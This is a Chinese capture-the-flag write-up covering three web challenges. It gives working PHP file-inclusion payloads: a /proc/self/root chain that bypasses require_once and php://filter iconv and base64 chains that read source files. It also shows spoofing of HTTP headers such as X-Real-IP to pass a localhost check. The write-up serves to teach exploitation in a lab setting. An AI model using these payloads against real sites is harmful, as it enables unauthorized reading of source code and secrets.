BUUCTFweb

[WMCTF2020]Make PHP Great Again

打开便是一段代码

复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';   //引入并执行名为 flag.php 的文件
if(isset($_GET['file'])) {  //检查是否有通过GET方法传file参数
  require_once $_GET['file'];//将用户通过file参数传入的值作为要引入的文件路径,执行文件包含操作。
}

这是文件包含题

1.require和require_once

require: 每次执行都会尝试包含并运行指定的文件。如果文件不存在,会抛出致命错误(Fatal Error)并停止脚本执行。

require_once: 行为与 require 相同,但 PHP 会先检查该文件是否已经被包含过。

如果已包含:PHP 会忽略此次调用,不再重复包含。

如果未包含:则执行包含操作,并记录该文件已被包含。

2.require_once的判定机制与弱点

PHP 判断文件是否"已经包含过",并不是单纯比较文件路径字符串,而是基于文件的真实路径(Real Path)进行哈希匹配。

正常情况:如果你请求 include.php 两次,PHP 解析出它们的真实路径都是 /var/www/html/include.php,哈希值相同,第二次会被拦截。

弱点(软链接层数限制):PHP 在解析路径以获取真实路径时,对符号链接(Symlink)的递归解析深度是有限制的(通常在底层系统调用或 PHP 内部实现中有阈值,例如 40 层左右,但在某些特定环境或旧版本中,这个检测逻辑可能存在缺陷)。

3. 利用 /proc/self/root 进行绕过

/proc/self: 是一个指向当前进程目录(/proc/<pid>/)的符号链接。

/proc/self/root: 是一个指向当前进程根目录(通常是 /)的符号链接。

所以payload:

复制代码
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

攻击原理

1.路径解析过程:

PHP 尝试解析这个长路径的真实路径。

每遇到一个 /proc/self/root,它实际上是指向 / 的软链接。

理论上,无论嵌套多少层 /proc/self/root,最终的真实路径都应该解析为 /var/www/html/flag.php。

2.绕过 once 检查:

第一次包含:假设用户访问了 flag.php。PHP 记录了真实路径 /var/www/html/flag.php 的哈希值。

第二次包含(攻击):用户提交了你提供的超长 Payload。

关键点:由于软链接嵌套层数极多,PHP 内部用于 require_once 检查的路径解析逻辑可能在达到最大递归深度前就停止了,或者生成的中间路径字符串哈希值与标准路径的哈希值不匹配。

结果:PHP 认为这是一个新文件(因为它计算出的"唯一标识"与之前记录的不一样),从而绕过了 once 的检查,再次执行了包含操作。

思路

所以这个payload是利用 /proc/self/root 创建超深的软链接嵌套,使 PHP 的路径规范化,逻辑是在 require_once 的哈希比对阶段失效,让 PHP 误以为这是另一个不同的文件,从而绕过 require_once 的文件已包含检查。成功再次包含文件,通常配合 php://filter 读取敏感文件的源码。

进行解码

flag为:flag{805651e1-07d7-4e8a-8c3f-23d0c21319f0}

[NewStarCTF 2023 公开赛道]include 0。0

打开便是一段代码

复制代码
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];  //通过GET传file参数将值赋值给file
if(isset($file) && !preg_match('/base|rot/i',$file)){
//检查 $file 的值中是否包含 base/rot,如果包含则条件不成立,反之成立。
    @include($file);
}else{
    die("nope");
}
?> nope

这是一道简单的文件包含题目,我们可以使用伪协议来读取flag.php文件中的内容,来获取flag

但是 rot和base被过滤了,不过我们可以使用 十六进制的可以用

十六进制:

复制代码
?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

这里没过滤convert.iconv,因此我们可硬将utf-8转为utf-7来输出flag.php的内容

复制代码
?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

以后可以用到

base64:

复制代码
?file=php://filter/read=convert.base64-encode/resource=flag.php

Rot13:

复制代码
?file=php://filter/string.rot13/resource=flag.php

[NewStarCTF 2023 公开赛道]Begin of HTTP

打开题目便是这个页面,题目提示要使用GET方式传ctf参数,所以可以尝试一下,?ctf=1234

根据提示,使用POST方式传递secret参数,但是没有反应

尝试抓包看看,将GET改为POST,然后传secret参数

得到bjN3c3Q0ckNURjIwMjNnMDAwMDBk先进行解码,而且提示bjN3c3Q0ckNURjIwMjNnMDAwMDBk解码后的内容是secret的内容,所以先进行解码,得到

然后将得到的n3wst4rCTF2023g00000d就是secret的值

返回很强,现在我需要验证你的

power是否是ctfer,只有ctfer可以通过这关

所以我们需要将power的值该为ctfer

返回你已经完成了本题过半的关卡,现在请使用NewStarCTF2023浏览器来通

过这关!,所以我们只要修改UA头就可以了

返回 希望你是从newstarctf.com 访问到这个关卡的,所以需要修改一下referer头

返回提示讲这是最后一关,要求只有本地用户可以通过

添加 X-Real-IP:127.0.0.1就可以得到flag

相关推荐
大龄程序员狗哥1 小时前
第25篇:Q-Learning算法解析——强化学习中的经典“价值”学习(原理解析)
人工智能·学习·算法
南境十里·墨染春水1 小时前
linux学习进展 线程同步——互斥锁
java·linux·学习
nashane2 小时前
HarmonyOS 6学习:旋转动画优化与长截图性能调优——打造丝滑交互体验的深度实践
学习·交互·harmonyos·harmonyos 5
华清远见IT开放实验室3 小时前
智能手表完整项目实现,比赛求职双向加分,基于嵌入式大赛推荐开发板(STM32U5)
stm32·单片机·嵌入式硬件·学习·智能手表·嵌入式大赛
炽烈小老头3 小时前
【 每天学习一点算法 2026/04/22】四数相加 II
学习·算法
uncle_ll3 小时前
LangChain基础学习笔记
笔记·学习·langchain·llm·rag
三品吉他手会点灯3 小时前
C语言学习笔记 - 14.C编程预备计算机专业知识 - 本讲内容概述
c语言·笔记·学习
Thanwind3 小时前
从0开始的机器学习之旅(二):监督学习,从线性回归说起
学习·机器学习·线性回归
2501_942326443 小时前
易速乐考,轻松备考
学习·教育电商
菜鸟‍3 小时前
【CVPR 2026】LitePT:更轻、更强的点云 Transformer【论文学习】
深度学习·学习·transformer